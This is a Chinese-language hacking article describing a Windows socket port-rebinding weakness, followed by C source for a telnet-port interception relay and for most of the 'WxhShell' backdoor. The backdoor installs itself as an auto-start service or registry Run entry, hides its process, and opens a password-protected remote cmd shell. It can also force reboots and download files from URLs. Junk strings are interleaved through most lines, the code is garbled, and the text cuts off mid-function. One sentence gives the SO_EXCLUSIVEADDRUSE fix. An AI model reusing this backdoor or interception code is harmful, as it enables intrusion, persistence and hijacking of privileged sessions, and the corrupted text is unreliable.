在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
].<sAmL^ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
fa+W9 C#**) saddr.sin_family = AF_INET;
;Xd\$)n ^pQo `T6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
yf#%)-7( M::IE|h bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
C)KtM YA, XoxR5arj 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
e`Zg7CaDd ?`l=!>C4s 这意味着什么?意味着可以进行如下的攻击:
4MtqQq4% [b
k&Nd[
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
B0 oY]r6 s68_o[[E 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
n?P 5pJ $?/Xk%d+ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
@)2V"FE4i uuUVE/^V' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
ev: !,}]w d*\C^:Z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
&TkbnDuYd~ <v7KE*# 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
-o!,,XYj . ]}l+ !NV< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
D
5 r 0Yzb=QMD #include
I>8 @=V~ #include
"!6 B5Oz #include
^/d^$ #include
,^+R%7mv DWORD WINAPI ClientThread(LPVOID lpParam);
@Y&9S)xcE int main()
ad$Qs3)6o {
)[M<72 WORD wVersionRequested;
*liPJ29C[ DWORD ret;
0h@%q;g WSADATA wsaData;
:5cu,&<Gv BOOL val;
@X6#$ex SOCKADDR_IN saddr;
Qqhb]<z SOCKADDR_IN scaddr;
H+#wj|,+\ int err;
@aD~YtL"n SOCKET s;
wM4g1H%s SOCKET sc;
b%!`fn-; int caddsize;
6P*)rye HANDLE mt;
kN9sug^ DWORD tid;
/6+%(f}7l wVersionRequested = MAKEWORD( 2, 2 );
mQA<t)1 err = WSAStartup( wVersionRequested, &wsaData );
klC^xSx if ( err != 0 ) {
h%w\O Z7 printf("error!WSAStartup failed!\n");
'Rh>w=wB' return -1;
3JE;:2O~P }
zs&`: saddr.sin_family = AF_INET;
hv:Z%D |S ;gW|qb+#)j //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
FTYLMQ
i LjQ1ar\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+81+4{* saddr.sin_port = htons(23);
vK.4JOlRF if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[aS)<^ {
-L 'K printf("error!socket failed!\n");
~Yz/t return -1;
NdSxWrD`m }
np\Q& val = TRUE;
tEX~72v //SO_REUSEADDR选项就是可以实现端口重绑定的
+heS\I_Mp if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
])wMUJWg2 {
'
bw, K* printf("error!setsockopt failed!\n");
wY
;8UN return -1;
&N7:k+E }
3F'dT[; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
?a0}^:6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
OO
wA{]gK //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ylxfh( y yR8VO{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
_}D?+x,C8 {
yoY)6cn@ ret=GetLastError();
*,[=}v1 printf("error!bind failed!\n");
u4+uGYr*@ return -1;
KW6" +,Th }
vzm4 listen(s,2);
E|4XQ|B@ while(1)
>T*g'954xF {
n`KXJ?t caddsize = sizeof(scaddr);
k`~br249 //接受连接请求
b oOw
K? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Q
fyERa\rb if(sc!=INVALID_SOCKET)
c3!|h1h/v {
'sQO0611S mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
pH:|G if(mt==NULL)
e(\S,@VN2 {
qf=[*ZY printf("Thread Creat Failed!\n");
,0~
{nQ j] break;
8Bt- }
=XBXSW8)DJ }
x-#9i CloseHandle(mt);
Mh.eAM8 _ }
R:R@sU closesocket(s);
-*q2Y^A^l WSACleanup();
K ':pU1 return 0;
xAz4ZXj=q }
~ kJpB t7M DWORD WINAPI ClientThread(LPVOID lpParam)
wXZY5-h4 {
KC-aLq/ SOCKET ss = (SOCKET)lpParam;
_vLT!y SOCKET sc;
WI!z92qq[ unsigned char buf[4096];
4$2T zJE SOCKADDR_IN saddr;
!cq|g long num;
coVT+we DWORD val;
M)pi)$&c DWORD ret;
2_\|>g| //如果是隐藏端口应用的话,可以在此处加一些判断
%` [`I> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
+\oHQ=s>}\ saddr.sin_family = AF_INET;
`LU,uz saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
uv!qE1z@': saddr.sin_port = htons(23);
JI,hy
<3l0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.*f4e3 {
kpw4Mq@ printf("error!socket failed!\n");
W!B4<'Fjc return -1;
wP':B
AQ4U }
S^VV^O5 ^ val = 100;
a[cH@7W.# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
: 8<^rP {
X/7_mU>aKT ret = GetLastError();
3M*[a~ return -1;
*K.7Zf0 }
[f(^vlK if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
d>98 E9
{
BF[?* b ret = GetLastError();
S|4/C return -1;
K y2xWd8 }
wXGFq3` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
1WN93SQ= {
L Hz<=]?@ printf("error!socket connect failed!\n");
VEEeQy closesocket(sc);
{-`OE closesocket(ss);
7[1
R}G V return -1;
,T~5iLKY }
i4r~eneP while(1)
jeFl+K'1 {
]b| @<E7Y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
BvR3Oi@Wc //如果是嗅探内容的话,可以再此处进行内容分析和记录
~2}ICU5 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
qWRMwvN{ num = recv(ss,buf,4096,0);
FOG+[v if(num>0)
7Ej#7\TB] send(sc,buf,num,0);
L5uI31 else if(num==0)
x2wWp-Z
break;
Y1+lk^ num = recv(sc,buf,4096,0);
=xet+;~ji if(num>0)
^ 6|"=+cO\ send(ss,buf,num,0);
\)uad5`N else if(num==0)
SZD2'UaG break;
1AV1W_" }
^v5hr>m closesocket(ss);
[te7uZv- closesocket(sc);
5g2+Ar( return 0 ;
]LOtwY }
IEf^.Z :{Z^ _;Tf h*Tiv^a ==========================================================
]qHO{b4k vkgL"([_ 下边附上一个代码,,WXhSHELL
Q^w]Nj(e_ ?R:Hj=. ==========================================================
ppP?1Il`kb ahv=HWX k #include "stdafx.h"
K+OU~SED%F mXaUWgO #include <stdio.h>
@+#p:sE #include <string.h>
+= ~}PF #include <windows.h>
HbDB?s< #include <winsock2.h>
,!4_Uc #include <winsvc.h>
?.ihWbW_ #include <urlmon.h>
qW >J-,61/ #[yl;1) #pragma comment (lib, "Ws2_32.lib")
&>fd:16 #pragma comment (lib, "urlmon.lib")
e"/X*xA C8q-gP[ #define MAX_USER 100 // 最大客户端连接数
:+!b8[?Z #define BUF_SOCK 200 // sock buffer
;rL$z;}8 #define KEY_BUFF 255 // 输入 buffer
L-$g& - LXV6Ew5E #define REBOOT 0 // 重启
=ApT#*D)o #define SHUTDOWN 1 // 关机
FQ)Ekss~C ".<p R}
qp #define DEF_PORT 5000 // 监听端口
e'&{KD,-T rP4@K%F9jB #define REG_LEN 16 // 注册表键长度
9ksrr{tW #define SVC_LEN 80 // NT服务名长度
lM,:c.R 5xUPqW%3 // 从dll定义API
y<(.,Nb8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
;f~'7RKy!G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
%TgM-F,8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
9Bw"VN]W typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
_Z2)e*( ?3N86Qj // wxhshell配置信息
Sn&%epi struct WSCFG {
Mv=;+?z! int ws_port; // 监听端口
uu.Nq*3 char ws_passstr[REG_LEN]; // 口令
e)"cm;BJ^P int ws_autoins; // 安装标记, 1=yes 0=no
&,7(Wab char ws_regname[REG_LEN]; // 注册表键名
m
0PF"( char ws_svcname[REG_LEN]; // 服务名
oX,M;;Yq char ws_svcdisp[SVC_LEN]; // 服务显示名
^umAfk5r?H char ws_svcdesc[SVC_LEN]; // 服务描述信息
rnE'gH(V' char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Su #1yw> int ws_downexe; // 下载执行标记, 1=yes 0=no
) &-E@% \ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
RBwV+X[B char ws_filenam[SVC_LEN]; // 下载后保存的文件名
GXVGU-br >.4Sx~VH2 };
{piS3xBi Z4' v // default Wxhshell configuration
E}2[Pb)e struct WSCFG wscfg={DEF_PORT,
h+(s/o?\ "xuhuanlingzhe",
Xii#Qtd. 1,
IA` "Wxhshell",
LJ3UB "Wxhshell",
DI[Ee? "WxhShell Service",
'L/TaP/3 "Wrsky Windows CmdShell Service",
8
K!a:{ "Please Input Your Password: ",
+Wc[$,vk 1,
9k&$bC+Q "
http://www.wrsky.com/wxhshell.exe",
PQr
N";+ "Wxhshell.exe"
iSlVe~ef };
K?
k`U, FG\?_G // 消息定义模块
+%v4Ci"%y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
;7>--_?= char *msg_ws_prompt="\n\r? for help\n\r#>";
S(l^TF char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
iI0 'z=J char *msg_ws_ext="\n\rExit.";
\-y i#N char *msg_ws_end="\n\rQuit.";
6I0MJpLW char *msg_ws_boot="\n\rReboot...";
my6T@0R char *msg_ws_poff="\n\rShutdown...";
(eP)>G] char *msg_ws_down="\n\rSave to ";
t:7jlD!d WgB,,L, char *msg_ws_err="\n\rErr!";
owhht98y( char *msg_ws_ok="\n\rOK!";
Rim}DfO/ gEu\X|7' char ExeFile[MAX_PATH];
\O~7X0 <W int nUser = 0;
_P:P5H8 HANDLE handles[MAX_USER];
' M!_k+e int OsIsNt;
Xy+|D#b vcHDFi SERVICE_STATUS serviceStatus;
dX=^>9hN/ SERVICE_STATUS_HANDLE hServiceStatusHandle;
l1S1CS K<tg+(3 // 函数声明
]\lw^.% int Install(void);
E?uv&evPK7 int Uninstall(void);
C7PiuL? int DownloadFile(char *sURL, SOCKET wsh);
C2v7( int Boot(int flag);
XjbK!. void HideProc(void);
6"(&lK\^ int GetOsVer(void);
PYe>`X? int Wxhshell(SOCKET wsl);
f9$q.a* void TalkWithClient(void *cs);
/'&LM\ int CmdShell(SOCKET sock);
;r']"JmF, int StartFromService(void);
\Wk$>?+#@ int StartWxhshell(LPSTR lpCmdLine);
Wwz{98,K -j,o:ng0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
}1wuH VOID WINAPI NTServiceHandler( DWORD fdwControl );
I_rVeMw= VbYapPu4b! // 数据结构和表定义
_?"J.i SERVICE_TABLE_ENTRY DispatchTable[] =
_G|6xlO {
XQA2uR4h {wscfg.ws_svcname, NTServiceMain},
tJP(eaqZ {NULL, NULL}
y(A"g3^= };
j3><J LmE-&
// 自我安装
3'wBX int Install(void)
p:jrqjLp {
mfvQ]tz_+ char svExeFile[MAX_PATH];
D[mYrWHpn HKEY key;
jI%yi-<; strcpy(svExeFile,ExeFile);
<#-ERQw )j]RFt // 如果是win9x系统,修改注册表设为自启动
Lnzhs;7L if(!OsIsNt) {
:>k\uW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ilP&ctn6+c RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,J~dER\% RegCloseKey(key);
;1nd~0o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
q,GL#L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
YS*t7 RegCloseKey(key);
oS4ag return 0;
uRIr,U^ }
]+8,@%=" }
e+mD$(h
}
809-p_)B else {
K5$ y !FO)||'[ // 如果是NT以上系统,安装为系统服务
P_gQ-pF. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
!ktr|9Bl if (schSCManager!=0)
|8B[yr.b {
3]i1M%'i SC_HANDLE schService = CreateService
y[cAU:P? (
>7|37a schSCManager,
*K;~V wscfg.ws_svcname,
uD"Voh|]= wscfg.ws_svcdisp,
=ZQIpc SERVICE_ALL_ACCESS,
!v-(O"a SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
#?9oA4Q SERVICE_AUTO_START,
iq#Z\Y( SERVICE_ERROR_NORMAL,
T1E=<q4 svExeFile,
ZD/!C9:&.0 NULL,
;p/@tr9 NULL,
8c9_=8vw NULL,
>\'yj|
U, NULL,
?=,tcN NULL
V;!D:N8< );
^6`U0|5mRX if (schService!=0)
e|I5Nx2) {
,RZktWW_ CloseServiceHandle(schService);
}Y[.h=X CloseServiceHandle(schSCManager);
6= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
vv u((b strcat(svExeFile,wscfg.ws_svcname);
{9)f~EbM! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
&Wba2fD RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
D|xSO~M5 RegCloseKey(key);
pnD#RvmW2e return 0;
G`pI{_-e }
EQ28pAZ }
w3*JVIQC CloseServiceHandle(schSCManager);
QMIXz[9w }
{XVSHUtw }
eg3{sDv, /mb| %U]~ return 1;
*M="k 1P1 }
^^Ius ] +m1edPA[ // 自我卸载
G~JQcJFj int Uninstall(void)
loZfzN&6A {
tFGLqR%/ HKEY key;
"Xm'(c( `27? f$, if(!OsIsNt) {
Kl*##qw! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9u9#&xx RegDeleteValue(key,wscfg.ws_regname);
G/y< bPQ RegCloseKey(key);
GXAcyOV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Uz0mSfBp RegDeleteValue(key,wscfg.ws_regname);
PtHT> RegCloseKey(key);
7(jt:V6V return 0;
8S0)_L#S }
w4OVfTlN }
MV/JZ;55 }
.JzO f[g5 else {
Z5+0?X0i {f!m m3'2v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
mBNa;6w?{* if (schSCManager!=0)
o5)U3U1| {
kxKBI{L SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
'K0Y@y if (schService!=0)
`: 8&m {
W>"i0p if(DeleteService(schService)!=0) {
RGiA>Z:W CloseServiceHandle(schService);
V3jx{BXs2 CloseServiceHandle(schSCManager);
A81kb return 0;
'{J!5x?L^ }
#hai3>9|B CloseServiceHandle(schService);
?znSA
> }
AVi|JY)> CloseServiceHandle(schSCManager);
cD{[rI
E3 }
a9"Gg}h\ }
]Z~H9!%t Y A;S'dxY return 1;
;a68>5Lm* }
W4Eo1 E 'Ct+0X:D // 从指定url下载文件
6rRPqO
j int DownloadFile(char *sURL, SOCKET wsh)
jtZ@`io {
40Du*5M HRESULT hr;
?-(E$ll char seps[]= "/";
X}^,g char *token;
@]A4{ char *file;
{&/q\UQ char myURL[MAX_PATH];
BqR8%F char myFILE[MAX_PATH];
a/?gp>M9 <uA|nYpp strcpy(myURL,sURL);
Z!#zr@'k token=strtok(myURL,seps);
d/;oNC+ while(token!=NULL)
}ulFW]A^7 {
A}$A~g5Ap file=token;
u tQ_!3u token=strtok(NULL,seps);
s,0,w--= }
e'u9 SpJ _$1W:!f4 GetCurrentDirectory(MAX_PATH,myFILE);
><$hFrR! strcat(myFILE, "\\");
f~E'0f_ strcat(myFILE, file);
M'*
Y send(wsh,myFILE,strlen(myFILE),0);
0|d%@ send(wsh,"...",3,0);
qwnC{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
9#1lxT4% if(hr==S_OK)
cP(/+
/9 return 0;
|vzGFfRI else
iLFF "Hs return 1;
?+51 B- YncY_Hu }
bj7v <G|Y >V NMQ // 系统电源模块
xGz$M@f int Boot(int flag)
R,tR{| 8 {
/\2 s%b* HANDLE hToken;
3C.bzw^ TOKEN_PRIVILEGES tkp;
Jln dypE f4uK_{ if(OsIsNt) {
8on2BC2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
p7|~x@q+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
:U?Kwv8 s tkp.PrivilegeCount = 1;
Pg5 1}{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
m%m8002 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
H]YPMG< if(flag==REBOOT) {
M@
mCBcbN if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
KO:o GUR return 0;
IX-ir }
VTD'D+t else {
m\j'7mZ1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
H+-9R return 0;
8W#whK2El }
BLfoU _Z }
J5IQ else {
2E;*kKw[ if(flag==REBOOT) {
eja_+`cJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
z$;z&X$j return 0;
DN!:Rm uc }
oc>,5 x else {
M,:GMO:?a if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
\Z<' u; return 0;
J,k9?nkY / }
;Cm%<vW4! }
WG<D+P y1f&+y9e return 1;
p.&FK'&[0 }
8L.Y0_x +K]kGF // win9x进程隐藏模块
{R]4N]l> void HideProc(void)
)mJl-u[0+ {
`2Vc*R S_aml HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
03[(dRK>= if ( hKernel != NULL )
P)ZGNtO9fG {
mM1\s>o pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
>Xh9{/o ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
:*#I1nb$ FreeLibrary(hKernel);
p-r}zc9@ }
'ym/@h7h G^5}T>TV return;
*r$(lf }
StA5h+[m $
^m_M.1 // 获取操作系统版本
JT, 8/o int GetOsVer(void)
\Ua"gS2L {
H/YZwDx,i OSVERSIONINFO winfo;
Il>!C\hU winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
}5FdX3YR GetVersionEx(&winfo);
\A
Y7%> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
C4]vq+ return 1;
~M2w&g;1 else
z^O>'9# return 0;
jv?`9{- }
T)qD}hl Mo0+"` // 客户端句柄模块
&Nt4dp`qj int Wxhshell(SOCKET wsl)
Zm^4p{I%o* {
8ZE{GX.m2c SOCKET wsh;
S~/zBFo- struct sockaddr_in client;
2/x+7F}w5 DWORD myID;
ZFY t[: :dLfM)8} while(nUser<MAX_USER)
9#xcp/O {
mn)kd int nSize=sizeof(client);
&U*=D8!0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
SZea[~& if(wsh==INVALID_SOCKET) return 1;
1|Us"GQ(n &AG,]# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
e@F9'z4 if(handles[nUser]==0)
m
=
"N4! closesocket(wsh);
7lqj" o( else
;*[nZV> nUser++;
|ffM6W1: }
-tlRe12 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
KAT4C 4=, 7kp$C?7K return 0;
2r^| }
hqmKUlo ]2+7?QL, // 关闭 socket
U5[xW void CloseIt(SOCKET wsh)
HE,# pj(D {
TG~:Cmc closesocket(wsh);
d:|X|0#\uH nUser--;
5^~%10= ExitThread(0);
|x3.r t }
Gcna:w>6d qe8dpI; // 客户端请求句柄
k,LeBCqGcb void TalkWithClient(void *cs)
:
2Ho
{
TW8E^k7 %XMwjBM SOCKET wsh=(SOCKET)cs;
|<t"O char pwd[SVC_LEN];
s`B "qw char cmd[KEY_BUFF];
lED-Jo2 char chr[1];
h/j+b.| int i,j;
DDsU6RyN PMe bn$( while (nUser < MAX_USER) {
^F"Q~?D) Fc%@ if(wscfg.ws_passstr) {
>
SU2Jw if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
W9D]s~bO; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C0eP/d //ZeroMemory(pwd,KEY_BUFF);
_@3@_GE i=0;
nlQ<Aa-% while(i<SVC_LEN) {
C0|<+3uND= '5\7>2fI // 设置超时
/p+ (_Y fd_set FdRead;
7@NAky( struct timeval TimeOut;
7aUk?Hf FD_ZERO(&FdRead);
QqA~y$'ut FD_SET(wsh,&FdRead);
M.iR5Uh TimeOut.tv_sec=8;
{f3&s4xj= TimeOut.tv_usec=0;
dlsVE~_G int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
l8/ tR if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
2 |
$ mf^=tZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
c
%w
h pwd
=chr[0]; /ldE (!^n
if(chr[0]==0xd || chr[0]==0xa) { dq}60
pwd=0; #Cks&[!c
break; [XK Ke
} {%.FIw k
i++; f0] 8/)
} _C$JO
sS/#)/B
// 如果是非法用户,关闭 socket Rd7Xs
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,iY/\
U''
} @5+ JXD
]:m>pI*z.
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d~1Nct$:
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pCS2sq8RC
6m"_=.k%
while(1) { yNMnByg3?
*u^N_y
ZeroMemory(cmd,KEY_BUFF); b0|q@!z>
i>#[*.|P
// 自动支持客户端 telnet标准 m`l3@Z
j=0; ]@)T]
while(j<KEY_BUFF) { /*\pm!]._^
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); , v,mBYaU
cmd[j]=chr[0]; <8nl}^d5
if(chr[0]==0xa || chr[0]==0xd) { FjYih>
cmd[j]=0; ~?TGSD@(
break; 7714}%Z
} Ta^l1]9.*
j++; chv0\k"'
} N%
/if
~=qJSb
// 下载文件 m2{3j[
if(strstr(cmd,"http://")) { ij&_>
send(wsh,msg_ws_down,strlen(msg_ws_down),0); @| kBc.(]
if(DownloadFile(cmd,wsh)) $Ay
j4|_-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \lwYDPY:
else 9|#YKO\\i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ug*#rpb
} T7`9[
else { lIPy)25~
D.elE:
switch(cmd[0]) { `vs=
CYs
Blv!%es
// 帮助 Z
|wM
case '?': { ^c",!Lp}{
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [!9dA.tF
break; +NL^/y<;
} {Wp+Y9c[
// 安装 HPJ\]HV(
case 'i': { )vVt{g
if(Install()) Ln/6]CMl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Hb>wlYR
else <8#Q5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IH|PdVNtg
break; P9h]Bu
} rrBu6\D
// 卸载 :l<)p;\
case 'r': { r_/=iYYJ
if(Uninstall()) _hT-5)1r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -+fbK/
else .XD7};g
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d3Dw[4
break; gx+bKGB`
} F)P"UQ!\
// 显示 wxhshell 所在路径 <X9 T}g
case 'p': { {.c(Sw}Eo
char svExeFile[MAX_PATH]; *h6Lh]7
strcpy(svExeFile,"\n\r"); g}HB|$P7
strcat(svExeFile,ExeFile); #>~<rcE(
send(wsh,svExeFile,strlen(svExeFile),0); |tL57Wu93
break; tj:3R$a
} ANB@cK_
// 重启 \\;i
case 'b': { <s/n8#i=H
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7d&_5Tj:
if(Boot(REBOOT)) g3[Zh=+]E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V/w:^@5+p
else { ~<b/%l>h1
closesocket(wsh); O 1TJJ8
ExitThread(0); f+>l-6M+p
} -1dbJ/)
break; v^;-w~?3
} a#H2H`%
// 关机 UUb n7&
case 'd': { [KrWL;[1<
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #sl_
BC9
if(Boot(SHUTDOWN)) 8vFt<k}G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O:02LHE
else { |<nS<x
closesocket(wsh); B&^WRM;7t
ExitThread(0); ke.{wh\0
} VrL==aTYXs
break; BQYj"Wi
} *Z0 Y:"
// 获取shell 6{h+(|.(
case 's': { &0B<iO<f
CmdShell(wsh); d&S4`\g?8
closesocket(wsh); /*g9drwaa
ExitThread(0); ~" \qX+
break; 08)X:@ w?
} mmk]Doy?#
// 退出 [Xp{ztGE
case 'x': { %7tQam
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l5sBDiir%
CloseIt(wsh); 5~(.:RX:q
break; zJ;K4)"j
} HQi57QB
// 离开 >7@kwj-f)
case 'q': { $Pa7B]A,Ae
send(wsh,msg_ws_end,strlen(msg_ws_end),0); uK6_H vHuy
closesocket(wsh); 3f'dBn5
WSACleanup(); 3$Ecq|4J:
exit(1); $*)??uU
break; ^qNh)?V?]I
} w k1O*_76
} !eb}jL
} nya-Io.
X4<!E#
// 提示信息 U?/UW;k[
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +r EqE/QF
} -[-LR }u
} |Ad1/>8i
piIr.]
return; 3Cq/
o'
} Izrf42 >k
"=~P&Mi_
// shell模块句柄 Fy4jujP<
int CmdShell(SOCKET sock) -fF1vJ7L
{ [~&C6pR
STARTUPINFO si; ]W,K}~!
ZeroMemory(&si,sizeof(si)); >z0~!!YZ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /<Nb/#8
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 99Xbp P55
PROCESS_INFORMATION ProcessInfo; a
}6Fj&hj
char cmdline[]="cmd"; KM$5ZbCF:
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?VM# Nf\
return 0; Dd+ f,$
} %(4G[R[
~$g$31/
// 自身启动模式 tPO\ e]
int StartFromService(void) 8J|pj4ce
{ CbK&.a
typedef struct _=0;5OrK1X
{ GH%'YY3|
DWORD ExitStatus; (W~jr-O^
DWORD PebBaseAddress; W#cr9"'Ta
DWORD AffinityMask; `Pj7O/!)#!
